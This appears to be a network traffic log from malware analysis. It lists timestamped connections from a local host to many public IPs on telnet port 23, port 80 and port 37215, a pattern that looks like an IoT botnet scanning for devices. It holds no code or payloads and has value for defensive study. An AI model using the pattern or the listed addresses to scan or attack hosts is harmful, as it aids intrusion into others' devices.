Jun 1, 2024 18:15:53.341824055 CEST	23	55040	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.341852903 CEST	23	55066	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.341895103 CEST	55066	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.342046022 CEST	23	51184	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.342117071 CEST	51184	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.342127085 CEST	51204	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.343110085 CEST	23	55500	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.343239069 CEST	23	55522	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.343269110 CEST	23	52524	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.343283892 CEST	55522	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.343327045 CEST	52524	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.343339920 CEST	52544	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.343354940 CEST	23	58528	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.343421936 CEST	58528	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.343427896 CEST	58548	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.343472958 CEST	23	35284	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.343544006 CEST	35284	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.343545914 CEST	35304	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.345527887 CEST	23	33072	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.345808983 CEST	23	40362	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.345999956 CEST	23	40382	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.346227884 CEST	23	45230	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.346246004 CEST	40382	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.346257925 CEST	23	45250	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.346410990 CEST	45250	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.346930027 CEST	23	33606	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.346993923 CEST	23	51184	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.346998930 CEST	33606	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.347006083 CEST	33626	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.347170115 CEST	23	55066	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.347227097 CEST	55066	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.347239971 CEST	55086	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.348264933 CEST	23	52524	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.348315001 CEST	23	58528	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.348342896 CEST	23	58548	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.348385096 CEST	58548	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.348504066 CEST	23	35284	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.348531961 CEST	23	35304	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.348562956 CEST	23	55522	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.348571062 CEST	35304	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.348640919 CEST	55522	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.348649979 CEST	55542	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.351166964 CEST	23	40382	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.351254940 CEST	40382	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.351273060 CEST	40400	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.351334095 CEST	23	45250	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.351406097 CEST	45250	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.351419926 CEST	45268	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.351845980 CEST	23	33606	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.352263927 CEST	23	55066	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.352293015 CEST	23	55086	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.352345943 CEST	55086	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.353440046 CEST	23	58548	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.353497982 CEST	58548	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.353533030 CEST	58562	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.353538036 CEST	23	55522	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.353566885 CEST	23	55542	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.353598118 CEST	23	35304	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.353611946 CEST	55542	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.353658915 CEST	35304	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.353667974 CEST	35318	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.356179953 CEST	23	40382	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.356209040 CEST	23	40400	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.356250048 CEST	40400	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.356329918 CEST	23	45250	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.356357098 CEST	23	45268	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.356395006 CEST	45268	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.357355118 CEST	23	55086	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.357419968 CEST	55086	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.357434034 CEST	55098	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.358568907 CEST	23	58548	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.358620882 CEST	23	58562	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.358648062 CEST	23	35304	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.358675003 CEST	58562	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.358679056 CEST	23	55542	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.358735085 CEST	55542	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.360873938 CEST	55554	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.361257076 CEST	23	40400	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.361320972 CEST	23	45268	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.361324072 CEST	40400	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.361339092 CEST	40412	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.361373901 CEST	45268	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.361387968 CEST	45280	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.362476110 CEST	23	55086	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.362504959 CEST	23	55098	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.362548113 CEST	55098	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.363594055 CEST	23	55542	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.363717079 CEST	23	58562	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.363814116 CEST	58562	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.363815069 CEST	58574	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.366142035 CEST	23	55554	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.366187096 CEST	55554	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.366255999 CEST	23	40400	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.366307020 CEST	23	40412	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.366337061 CEST	23	45268	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.366347075 CEST	40412	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.367618084 CEST	23	55098	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.367692947 CEST	55108	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.367713928 CEST	55098	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.368860960 CEST	23	58562	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.368891954 CEST	23	58574	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.368963003 CEST	58574	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.371217966 CEST	23	55554	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.371315002 CEST	55564	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.371407032 CEST	55554	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.371488094 CEST	23	40412	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.371546030 CEST	40412	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.371553898 CEST	40422	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.372653008 CEST	23	55108	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.372683048 CEST	23	55098	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.372706890 CEST	55108	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.374824047 CEST	23	58574	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.374912977 CEST	58582	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.374995947 CEST	58574	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.376271963 CEST	23	55554	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.376570940 CEST	23	40412	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.376601934 CEST	23	40422	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.376657963 CEST	40422	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.377715111 CEST	23	55108	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.377782106 CEST	55108	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.377798080 CEST	55116	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.379945040 CEST	23	58582	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.379990101 CEST	58582	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.380000114 CEST	23	58574	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.381649017 CEST	23	40422	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.381716967 CEST	40422	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.381732941 CEST	40428	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.382746935 CEST	23	55108	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.382776976 CEST	23	55116	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.382824898 CEST	55116	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.385030985 CEST	23	58582	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.385094881 CEST	58582	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.385111094 CEST	58588	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.386665106 CEST	23	40422	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.387922049 CEST	23	55116	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.387998104 CEST	55116	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.388029099 CEST	55122	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.390033007 CEST	23	58582	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.392880917 CEST	23	55116	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.392942905 CEST	23	55122	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.393013000 CEST	55122	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.398117065 CEST	23	55122	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.398200989 CEST	55122	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.398247004 CEST	55124	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.403218031 CEST	23	55122	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.403261900 CEST	23	55124	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.403317928 CEST	55124	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.408436060 CEST	23	55124	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.408520937 CEST	55124	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.408544064 CEST	55126	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.413470030 CEST	23	55124	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.413482904 CEST	23	55126	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.413542032 CEST	55126	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.464795113 CEST	57330	80	192.168.2.23	117.200.77.204
Jun 1, 2024 18:15:53.472615004 CEST	58988	80	192.168.2.23	89.243.242.221
Jun 1, 2024 18:15:53.477793932 CEST	80	58988	89.243.242.221	192.168.2.23
Jun 1, 2024 18:15:53.477930069 CEST	58988	80	192.168.2.23	89.243.242.221
Jun 1, 2024 18:15:53.681030989 CEST	57330	80	192.168.2.23	117.200.77.204
Jun 1, 2024 18:15:53.686105967 CEST	80	57330	117.200.77.204	192.168.2.23
Jun 1, 2024 18:15:53.686218977 CEST	57330	80	192.168.2.23	117.200.77.204
Jun 1, 2024 18:15:54.200681925 CEST	34452	23	192.168.2.23	144.135.30.158
Jun 1, 2024 18:15:54.200681925 CEST	34344	23	192.168.2.23	198.117.191.173
Jun 1, 2024 18:15:54.200690985 CEST	45624	80	192.168.2.23	221.104.128.209
Jun 1, 2024 18:15:54.200691938 CEST	57020	80	192.168.2.23	167.71.75.216
Jun 1, 2024 18:15:54.200691938 CEST	57186	80	192.168.2.23	17.87.254.21
Jun 1, 2024 18:15:54.200699091 CEST	58314	80	192.168.2.23	65.91.194.133
Jun 1, 2024 18:15:54.200697899 CEST	42094	23	192.168.2.23	103.50.136.44
Jun 1, 2024 18:15:54.200699091 CEST	58842	80	192.168.2.23	81.92.36.148
Jun 1, 2024 18:15:54.200699091 CEST	49646	23	192.168.2.23	27.114.13.154
Jun 1, 2024 18:15:54.200699091 CEST	60648	23	192.168.2.23	86.4.35.86
Jun 1, 2024 18:15:54.200699091 CEST	35458	80	192.168.2.23	65.165.107.159
Jun 1, 2024 18:15:54.200699091 CEST	47940	80	192.168.2.23	222.18.180.172
Jun 1, 2024 18:15:54.200699091 CEST	53992	23	192.168.2.23	197.13.105.153
Jun 1, 2024 18:15:54.200717926 CEST	44174	80	192.168.2.23	186.149.129.182
Jun 1, 2024 18:15:54.200717926 CEST	47646	80	192.168.2.23	120.22.130.14
Jun 1, 2024 18:15:54.200726032 CEST	32882	23	192.168.2.23	49.104.136.53
Jun 1, 2024 18:15:54.200726032 CEST	48852	23	192.168.2.23	142.108.26.20
Jun 1, 2024 18:15:54.200726032 CEST	36240	23	192.168.2.23	77.20.120.143
Jun 1, 2024 18:15:54.200726986 CEST	59560	23	192.168.2.23	38.166.159.95
Jun 1, 2024 18:15:54.200792074 CEST	35972	23	192.168.2.23	19.42.91.89
Jun 1, 2024 18:15:54.200792074 CEST	38092	23	192.168.2.23	129.10.191.250
Jun 1, 2024 18:15:54.200792074 CEST	44890	23	192.168.2.23	168.165.37.118
Jun 1, 2024 18:15:54.200792074 CEST	40656	23	192.168.2.23	32.18.170.34
Jun 1, 2024 18:15:54.200792074 CEST	33958	23	192.168.2.23	94.202.3.93
Jun 1, 2024 18:15:54.201877117 CEST	60650	37215	192.168.2.23	156.101.249.252
Jun 1, 2024 18:15:54.201890945 CEST	60650	37215	192.168.2.23	156.196.211.73
Jun 1, 2024 18:15:54.201910973 CEST	60650	37215	192.168.2.23	41.240.14.175
Jun 1, 2024 18:15:54.201919079 CEST	60650	37215	192.168.2.23	156.122.101.93
Jun 1, 2024 18:15:54.201920986 CEST	60650	37215	192.168.2.23	41.144.59.161
Jun 1, 2024 18:15:54.201936007 CEST	60650	37215	192.168.2.23	41.13.150.2
Jun 1, 2024 18:15:54.201937914 CEST	60650	37215	192.168.2.23	197.159.210.112
Jun 1, 2024 18:15:54.201937914 CEST	60650	37215	192.168.2.23	41.37.220.142
Jun 1, 2024 18:15:54.201946020 CEST	60650	37215	192.168.2.23	197.62.245.215
Jun 1, 2024 18:15:54.201961994 CEST	60650	37215	192.168.2.23	197.134.218.185
Jun 1, 2024 18:15:54.201970100 CEST	60650	37215	192.168.2.23	197.171.57.90
Jun 1, 2024 18:15:54.201982975 CEST	60650	37215	192.168.2.23	41.14.251.209
Jun 1, 2024 18:15:54.201983929 CEST	60650	37215	192.168.2.23	156.227.20.171
Jun 1, 2024 18:15:54.201983929 CEST	60650	37215	192.168.2.23	156.167.5.201
Jun 1, 2024 18:15:54.201989889 CEST	60650	37215	192.168.2.23	156.198.87.202
Jun 1, 2024 18:15:54.202006102 CEST	60650	37215	192.168.2.23	41.206.210.197
Jun 1, 2024 18:15:54.202014923 CEST	60650	37215	192.168.2.23	197.201.160.192
Jun 1, 2024 18:15:54.202034950 CEST	60650	37215	192.168.2.23	197.22.210.222
Jun 1, 2024 18:15:54.202038050 CEST	60650	37215	192.168.2.23	156.251.227.241
Jun 1, 2024 18:15:54.202034950 CEST	60650	37215	192.168.2.23	156.113.109.247
Jun 1, 2024 18:15:54.202034950 CEST	60650	37215	192.168.2.23	41.87.170.8
Jun 1, 2024 18:15:54.202049017 CEST	60650	37215	192.168.2.23	41.139.183.232
Jun 1, 2024 18:15:54.202049017 CEST	60650	37215	192.168.2.23	156.173.156.210
Jun 1, 2024 18:15:54.202049017 CEST	60650	37215	192.168.2.23	156.45.224.43
Jun 1, 2024 18:15:54.202058077 CEST	60650	37215	192.168.2.23	156.58.214.28
Jun 1, 2024 18:15:54.202064037 CEST	60650	37215	192.168.2.23	156.14.177.75
Jun 1, 2024 18:15:54.202078104 CEST	60650	37215	192.168.2.23	41.3.179.144
Jun 1, 2024 18:15:54.202086926 CEST	60650	37215	192.168.2.23	156.9.236.107
Jun 1, 2024 18:15:54.202090025 CEST	60650	37215	192.168.2.23	41.53.249.76
Jun 1, 2024 18:15:54.202090025 CEST	60650	37215	192.168.2.23	197.171.180.102
Jun 1, 2024 18:15:54.202090025 CEST	60650	37215	192.168.2.23	197.148.143.218
Jun 1, 2024 18:15:54.202100039 CEST	60650	37215	192.168.2.23	197.218.44.219
Jun 1, 2024 18:15:54.202100039 CEST	60650	37215	192.168.2.23	41.199.178.103
Jun 1, 2024 18:15:54.202106953 CEST	60650	37215	192.168.2.23	156.94.219.6
Jun 1, 2024 18:15:54.202126026 CEST	60650	37215	192.168.2.23	197.239.209.224
Jun 1, 2024 18:15:54.202136040 CEST	60650	37215	192.168.2.23	156.168.54.44
Jun 1, 2024 18:15:54.202137947 CEST	60650	37215	192.168.2.23	197.209.206.69
Jun 1, 2024 18:15:54.202136040 CEST	60650	37215	192.168.2.23	41.107.213.189
Jun 1, 2024 18:15:54.202151060 CEST	60650	37215	192.168.2.23	156.108.209.227
Jun 1, 2024 18:15:54.202168941 CEST	60650	37215	192.168.2.23	41.173.185.143
Jun 1, 2024 18:15:54.202168941 CEST	60650	37215	192.168.2.23	156.122.197.187
Jun 1, 2024 18:15:54.202173948 CEST	60650	37215	192.168.2.23	197.176.79.105
Jun 1, 2024 18:15:54.202177048 CEST	60650	37215	192.168.2.23	41.232.72.207
Jun 1, 2024 18:15:54.202178955 CEST	60650	37215	192.168.2.23	197.122.85.39
Jun 1, 2024 18:15:54.202193022 CEST	60650	37215	192.168.2.23	41.24.85.120
Jun 1, 2024 18:15:54.202205896 CEST	60650	37215	192.168.2.23	41.94.147.5
Jun 1, 2024 18:15:54.202212095 CEST	60650	37215	192.168.2.23	197.195.124.150
Jun 1, 2024 18:15:54.202215910 CEST	60650	37215	192.168.2.23	156.68.148.229
Jun 1, 2024 18:15:54.202218056 CEST	60650	37215	192.168.2.23	156.61.16.19
Jun 1, 2024 18:15:54.202228069 CEST	60650	37215	192.168.2.23	156.37.13.98
Jun 1, 2024 18:15:54.202240944 CEST	60650	37215	192.168.2.23	41.152.169.18
Jun 1, 2024 18:15:54.202241898 CEST	60650	37215	192.168.2.23	197.83.168.107
Jun 1, 2024 18:15:54.202243090 CEST	60650	37215	192.168.2.23	41.213.94.175
Jun 1, 2024 18:15:54.202250004 CEST	60650	37215	192.168.2.23	41.61.6.231
Jun 1, 2024 18:15:54.202255964 CEST	60650	37215	192.168.2.23	156.49.248.234
Jun 1, 2024 18:15:54.202270985 CEST	60650	37215	192.168.2.23	41.41.2.39
Jun 1, 2024 18:15:54.202274084 CEST	60650	37215	192.168.2.23	41.137.161.29
Jun 1, 2024 18:15:54.202274084 CEST	60650	37215	192.168.2.23	156.212.207.12
Jun 1, 2024 18:15:54.202274084 CEST	60650	37215	192.168.2.23	156.243.7.131
Jun 1, 2024 18:15:54.202286959 CEST	60650	37215	192.168.2.23	197.189.238.220
Jun 1, 2024 18:15:54.202290058 CEST	60650	37215	192.168.2.23	197.25.244.85
Jun 1, 2024 18:15:54.202300072 CEST	60650	37215	192.168.2.23	197.159.86.205
Jun 1, 2024 18:15:54.202301979 CEST	60650	37215	192.168.2.23	41.169.149.73
Jun 1, 2024 18:15:54.202301979 CEST	60650	37215	192.168.2.23	197.112.119.106
Jun 1, 2024 18:15:54.202316999 CEST	60650	37215	192.168.2.23	41.148.200.185
Jun 1, 2024 18:15:54.202321053 CEST	60650	37215	192.168.2.23	197.126.155.107
Jun 1, 2024 18:15:54.202321053 CEST	60650	37215	192.168.2.23	41.217.203.189
Jun 1, 2024 18:15:54.202346087 CEST	60650	37215	192.168.2.23	41.58.84.84
Jun 1, 2024 18:15:54.202353001 CEST	60650	37215	192.168.2.23	41.89.44.248
Jun 1, 2024 18:15:54.202353954 CEST	60650	37215	192.168.2.23	197.35.183.52
Jun 1, 2024 18:15:54.202353954 CEST	60650	37215	192.168.2.23	41.110.8.29
Jun 1, 2024 18:15:54.202375889 CEST	60650	37215	192.168.2.23	41.13.38.80
Jun 1, 2024 18:15:54.202383041 CEST	60650	37215	192.168.2.23	197.65.247.219
Jun 1, 2024 18:15:54.202383041 CEST	60650	37215	192.168.2.23	156.91.55.119
Jun 1, 2024 18:15:54.202385902 CEST	60650	37215	192.168.2.23	41.161.83.34
Jun 1, 2024 18:15:54.202385902 CEST	60650	37215	192.168.2.23	156.112.166.96
Jun 1, 2024 18:15:54.202397108 CEST	60650	37215	192.168.2.23	156.23.230.69
Jun 1, 2024 18:15:54.202400923 CEST	60650	37215	192.168.2.23	41.65.170.181
Jun 1, 2024 18:15:54.202431917 CEST	60650	37215	192.168.2.23	156.207.94.97
Jun 1, 2024 18:15:54.202434063 CEST	60650	37215	192.168.2.23	156.8.32.149
Jun 1, 2024 18:15:54.202436924 CEST	60650	37215	192.168.2.23	41.93.142.139
Jun 1, 2024 18:15:54.202436924 CEST	60650	37215	192.168.2.23	197.18.253.163
Jun 1, 2024 18:15:54.202455044 CEST	60650	37215	192.168.2.23	41.124.197.32
Jun 1, 2024 18:15:54.202457905 CEST	60650	37215	192.168.2.23	156.3.243.152
Jun 1, 2024 18:15:54.202467918 CEST	60650	37215	192.168.2.23	156.93.240.94
Jun 1, 2024 18:15:54.202474117 CEST	60650	37215	192.168.2.23	156.220.101.161
Jun 1, 2024 18:15:54.202474117 CEST	60650	37215	192.168.2.23	41.14.133.63
Jun 1, 2024 18:15:54.202477932 CEST	60650	37215	192.168.2.23	156.75.198.151
Jun 1, 2024 18:15:54.202477932 CEST	60650	37215	192.168.2.23	197.154.217.12
Jun 1, 2024 18:15:54.202496052 CEST	60650	37215	192.168.2.23	156.145.248.27
Jun 1, 2024 18:15:54.202506065 CEST	60650	37215	192.168.2.23	197.78.230.78
Jun 1, 2024 18:15:54.202512980 CEST	60650	37215	192.168.2.23	197.138.249.73
Jun 1, 2024 18:15:54.202518940 CEST	60650	37215	192.168.2.23	197.69.187.230
Jun 1, 2024 18:15:54.202518940 CEST	60650	37215	192.168.2.23	41.208.140.239
Jun 1, 2024 18:15:54.202521086 CEST	60650	37215	192.168.2.23	41.167.8.162
Jun 1, 2024 18:15:54.202544928 CEST	60650	37215	192.168.2.23	41.181.141.202
Jun 1, 2024 18:15:54.202552080 CEST	60650	37215	192.168.2.23	41.0.162.73
Jun 1, 2024 18:15:54.202552080 CEST	60650	37215	192.168.2.23	197.215.229.110
Jun 1, 2024 18:15:54.202553988 CEST	60650	37215	192.168.2.23	197.202.250.38
Jun 1, 2024 18:15:54.202574015 CEST	60650	37215	192.168.2.23	197.121.136.81
Jun 1, 2024 18:15:54.202578068 CEST	60650	37215	192.168.2.23	41.43.208.255
Jun 1, 2024 18:15:54.202584028 CEST	60650	37215	192.168.2.23	41.139.184.97
Jun 1, 2024 18:15:54.202593088 CEST	60650	37215	192.168.2.23	197.33.181.12
Jun 1, 2024 18:15:54.202599049 CEST	60650	37215	192.168.2.23	197.125.206.214
Jun 1, 2024 18:15:54.202608109 CEST	60650	37215	192.168.2.23	41.84.23.118
Jun 1, 2024 18:15:54.202610016 CEST	60650	37215	192.168.2.23	156.6.171.128
Jun 1, 2024 18:15:54.202620983 CEST	60650	37215	192.168.2.23	41.74.251.91
Jun 1, 2024 18:15:54.202625036 CEST	60650	37215	192.168.2.23	197.64.29.50
Jun 1, 2024 18:15:54.202645063 CEST	60650	37215	192.168.2.23	41.244.158.164
Jun 1, 2024 18:15:54.202649117 CEST	60650	37215	192.168.2.23	156.88.210.161
Jun 1, 2024 18:15:54.202666998 CEST	60650	37215	192.168.2.23	197.229.155.141
Jun 1, 2024 18:15:54.202670097 CEST	60650	37215	192.168.2.23	197.242.7.246
Jun 1, 2024 18:15:54.202670097 CEST	60650	37215	192.168.2.23	197.64.85.95
Jun 1, 2024 18:15:54.202675104 CEST	60650	37215	192.168.2.23	156.234.39.13
Jun 1, 2024 18:15:54.202683926 CEST	60650	37215	192.168.2.23	197.213.9.188
Jun 1, 2024 18:15:54.202697992 CEST	60650	37215	192.168.2.23	197.236.203.121
Jun 1, 2024 18:15:54.202702045 CEST	60650	37215	192.168.2.23	156.180.164.233
Jun 1, 2024 18:15:54.202702045 CEST	60650	37215	192.168.2.23	41.109.78.181
Jun 1, 2024 18:15:54.202723026 CEST	60650	37215	192.168.2.23	156.47.174.21
Jun 1, 2024 18:15:54.202723980 CEST	60650	37215	192.168.2.23	41.5.46.180
Jun 1, 2024 18:15:54.202723980 CEST	60650	37215	192.168.2.23	197.110.203.35
Jun 1, 2024 18:15:54.202724934 CEST	60650	37215	192.168.2.23	41.255.220.116
Jun 1, 2024 18:15:54.202739954 CEST	60650	37215	192.168.2.23	41.55.10.217
Jun 1, 2024 18:15:54.202743053 CEST	60650	37215	192.168.2.23	197.109.223.59
Jun 1, 2024 18:15:54.202753067 CEST	60650	37215	192.168.2.23	41.249.7.239
Jun 1, 2024 18:15:54.202756882 CEST	60650	37215	192.168.2.23	156.13.177.93
Jun 1, 2024 18:15:54.202760935 CEST	60650	37215	192.168.2.23	156.134.126.95
Jun 1, 2024 18:15:54.202770948 CEST	60650	37215	192.168.2.23	197.120.18.9
Jun 1, 2024 18:15:54.202770948 CEST	60650	37215	192.168.2.23	41.67.166.5
Jun 1, 2024 18:15:54.202770948 CEST	60650	37215	192.168.2.23	156.46.96.196
Jun 1, 2024 18:15:54.202789068 CEST	60650	37215	192.168.2.23	197.85.240.37
Jun 1, 2024 18:15:54.202795029 CEST	60650	37215	192.168.2.23	197.240.243.192
Jun 1, 2024 18:15:54.202805996 CEST	60650	37215	192.168.2.23	41.227.197.196
Jun 1, 2024 18:15:54.202814102 CEST	60650	37215	192.168.2.23	41.237.67.196
Jun 1, 2024 18:15:54.202816963 CEST	60650	37215	192.168.2.23	41.147.35.71
Jun 1, 2024 18:15:54.202827930 CEST	60650	37215	192.168.2.23	41.183.200.181
Jun 1, 2024 18:15:54.202827930 CEST	60650	37215	192.168.2.23	41.45.246.39
Jun 1, 2024 18:15:54.202827930 CEST	60650	37215	192.168.2.23	156.51.243.47
Jun 1, 2024 18:15:54.202828884 CEST	60650	37215	192.168.2.23	156.240.0.43
Jun 1, 2024 18:15:54.202830076 CEST	60650	37215	192.168.2.23	156.195.161.239
Jun 1, 2024 18:15:54.202830076 CEST	60650	37215	192.168.2.23	41.18.48.115
Jun 1, 2024 18:15:54.202841997 CEST	60650	37215	192.168.2.23	197.124.113.84
Jun 1, 2024 18:15:54.202848911 CEST	60650	37215	192.168.2.23	197.127.46.62
Jun 1, 2024 18:15:54.202850103 CEST	60650	37215	192.168.2.23	156.158.221.167
Jun 1, 2024 18:15:54.202862024 CEST	60650	37215	192.168.2.23	156.62.82.149
Jun 1, 2024 18:15:54.202867985 CEST	60650	37215	192.168.2.23	197.0.128.225
